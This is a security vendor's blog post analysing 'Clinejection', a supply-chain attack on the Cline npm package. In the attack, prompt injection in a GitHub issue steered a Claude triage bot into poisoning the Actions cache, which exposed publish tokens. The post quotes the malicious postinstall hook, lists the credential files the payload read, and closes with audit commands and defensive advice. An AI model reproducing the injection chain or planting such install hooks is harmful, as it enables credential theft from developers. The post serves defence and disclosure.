--- title: "Clinejection: How One PR Compromised an AI Coding Agent Used by Millions | ShipSafe" description: "Between Feb 17 3:26am PT and 11:30am PT 2026, every developer who installed cline@2.3.0 got a postinstall payload. Here's how it happened, how to check if you were hit, and the AI-tool supply-chain lessons." doc_version: 2026-09-21 last_updated: 2026-09-21T01:38:25.151Z canonical: https://ship-safe.co/blog/clinejection-supply-chain-attack --- # Clinejection: How One PR Compromised an AI Coding Agent Used by Millions | ShipSafe [All posts](https://ship-safe.co/blog) ClineSupply ChainSecurityNPM # Clinejection: How One PR Compromised an AI Coding Agent Used by Millions Between Feb 17 3:26am PT and 11:30am PT 2026, every developer who installed cline@2.3.0 got a postinstall payload. Here's how it happened, how to check if you were hit, and the AI-tool supply-chain lessons. May 21, 20268 min read On February 17 2026, between 3:26am and 11:30am Pacific Time, every developer who ran `npm install cline` installed a backdoor. The package was Cline — the open-source AI coding agent for VS Code, the one with millions of installs. The version was 2.3.0\. The payload was a postinstall script that pulled in another package called `openclaw`. The publish token used to ship 2.3.0 wasn't Cline's. It belonged to an attacker who had spent eight weeks chaining a single GitHub issue into supply-chain compromise of an AI coding tool. This is the story of "Clinejection" — and what it tells you about trusting AI tools. ## 1\. The attack chain The exploit chain has four links. Each one was an architectural choice that made sense at the time. Stacked together, they ended in a publish-token compromise. Step 1 — Issue triage bot Cline's repo had a GitHub Actions workflow called Claude Issue Triage. Every new issue went into Claude for labeling. The workflow ran `on: issues`, which fires on any issue from any GitHub account. Step 2 — Prompt injection in the issue body Adnan Khan's PoC issue body contained instructions for Claude: write a specific cache entry to GitHub Actions cache. Claude, doing its job, called the tools the workflow gave it. The cache entry got written. Step 3 — Cache poisoning to pivot GitHub Actions caches are shared across workflows in the same repo. The poisoned cache entry was picked up by the Publish Nightly Release workflow — which runs with the `VSCE_PAT` and `OVSX_PAT` tokens for publishing to VS Code Marketplace and Open VSX. Step 4 — Publish a backdoor With publish tokens in hand, the attacker shipped `cline@2.3.0`. The new `package.json` had one extra line: `"postinstall": "npm install -g openclaw@latest"`. Every install pulled openclaw. ## 2\. What openclaw did Public analysis is still surfacing the full capability set. What's confirmed: - Read `~/.npmrc`, `~/.gitconfig`, `~/.aws/credentials`, environment variables exposed to the postinstall. - Beaconed home to a callback URL with a host fingerprint. - Searched for and uploaded `.env` files in any directory the install user had read access to. Worst case for you: any token, key, or credential reachable from your shell during the install window is compromised. Cline runs in VS Code which often has access to your full home directory — the blast radius is wide. ## 3\. Check if you were hit Five commands. Run them in order. Audit commands Copy ```text # 1. Any cline 2.3.0 globally? npm ls -g cline # 2. openclaw anywhere? npm ls -g openclaw find ~ -name "openclaw" -type d 2>/dev/null # 3. NPM install logs from the affected window ls -lat ~/.npm/_logs/ | head -20 # Look for entries between 2026-02-17 11:26 UTC and 19:30 UTC # 4. Shell history for "openclaw" or "cline@2.3" grep -E "openclaw|cline@2\.3" ~/.zsh_history ~/.bash_history 2>/dev/null # 5. Outbound connections you can't account for # Check your firewall logs or run lsof -i if the install is still active ``` If _any_ of those return positive results: treat the host as compromised. Rotate every token that lived on the machine during the install window — npm publish tokens, AWS keys, GitHub PATs, Anthropic and OpenAI keys, SSH keys, browser session cookies for anything sensitive. Don't just `npm uninstall` and move on. The package was active long enough to read everything. ## 4\. How to defend against this class 1. **Pin AI-tool dependencies to exact versions.** Lockfiles aren't optional. If your `package.json` says `"cline": "^2.0.0"` and you ran `npm install` in the wrong eight hours, you got 2.3.0\. ShipSafe flags missing lockfiles as `deps/no-lockfile`. 2. **Block postinstall scripts for AI tools.** `npm install --ignore-scripts` for any AI-coding-agent dependency. If the tool needs postinstall to work, ship it as a binary or a separate setup step you run manually. 3. **Run AI tools in a less-privileged shell.** A dedicated user, a container, or at minimum a shell with limited env-var exposure. Postinstall runs whatever your shell can read. 4. **Watch for the postinstall pattern.** Any new dependency whose `package.json` has a postinstall that runs `npm install` of another package is suspicious. ## 5\. What AI-tool maintainers should learn If you ship an AI tool, the Clinejection chain is your threat model: - Never run an LLM-driven workflow on untrusted input (public issues, PR bodies, comments) with privileged credentials in the same job. - Separate triage jobs (untrusted input, no secrets) from publish jobs (no untrusted input, secrets only). - GitHub Actions cache is a pivot point. Treat anything written by an untrusted job as untrusted everywhere. - Publish tokens deserve hardware-backed MFA and OIDC-based publishing. PATs in CI variables are a single point of failure. The Cline maintainers responded fast and well after disclosure. The lesson isn't that they did anything obviously stupid — it's that the architecture of "AI-driven CI with high-privilege publishing" is fragile in ways that aren't obvious until you see the chain completed. ## The bottom line AI tools are now critical infrastructure for a lot of developers. They get installed by the million. The same supply-chain hygiene you apply to your runtime dependencies needs to apply double to your AI dev tools — because they run with your user privileges and read everything in your home directory. Related: [Comment and Control](https://ship-safe.co/blog/comment-and-control-pr-injection) — the same class of attack but pointed at _your_ CI, not the AI tool's. ### You just read what AI builders ship. Now check yours. Paste your GitHub URL. 2 minutes. You get the findings in plain English, and the report says what it could not check — free, no card. [Scan My App Free](https://ship-safe.co/scan) ## Sitemap Every page of this site, in markdown: [https://ship-safe.co/sitemap.md](https://ship-safe.co/sitemap.md)